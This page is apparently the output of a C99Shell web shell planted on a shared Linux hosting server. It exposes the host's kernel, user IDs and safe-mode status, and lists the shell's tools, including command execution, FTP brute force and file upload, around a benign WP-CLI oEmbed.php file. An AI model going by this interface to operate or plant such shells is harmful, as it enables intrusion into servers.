!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/embed-command/src/   drwxr-xr-x
Free 714.48 GB of 879.6 GB (81.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     oEmbed.php (1.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\Embeds;

if ( ! class_exists( '\WP_oEmbed' ) ) {
    require_once ABSPATH . WPINC . '/class-oembed.php';
}

/**
 * Polyfill for older WP versions.
 */
class oEmbed extends \WP_oEmbed {

    /**
     * Takes a URL and returns the corresponding oEmbed provider's URL, if there is one.
     *
     * @since 4.0.0
     *
     * @see WP_oEmbed::discover()
     *
     * @param string        $url  The URL to the content.
     * @param string|array  $args Optional provider arguments.
     * @return false|string False on failure, otherwise the oEmbed provider URL.
     */
    public function get_provider( $url, $args = '' ) {
        if ( method_exists( 'WP_oEmbed', 'get_provider' ) ) {
            return parent::get_provider( $url, $args );
        }

        $args = wp_parse_args( $args );

        $provider = false;

        if ( ! isset( $args['discover'] ) ) {
            $args['discover'] = true;
        }

        foreach ( $this->providers as $matchmask => $data ) {
            list( $providerurl, $regex ) = $data;

            // Turn the asterisk-type provider URLs into regex
            if ( ! $regex ) {
                $matchmask = '#' . str_replace( '___wildcard___', '(.+)', preg_quote( str_replace( '*', '___wildcard___', $matchmask ), '#' ) ) . '#i';
                $matchmask = preg_replace( '|^#http\\\://|', '#https?\://', $matchmask );
            }

            if ( preg_match( $matchmask, $url ) ) {
                $provider = str_replace( '{format}', 'json', $providerurl ); // JSON is easier to deal with than XML
                break;
            }
        }

        if ( ! $provider && $args['discover'] ) {
            $provider = $this->discover( $url );
        }

        return $provider;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0112 ]--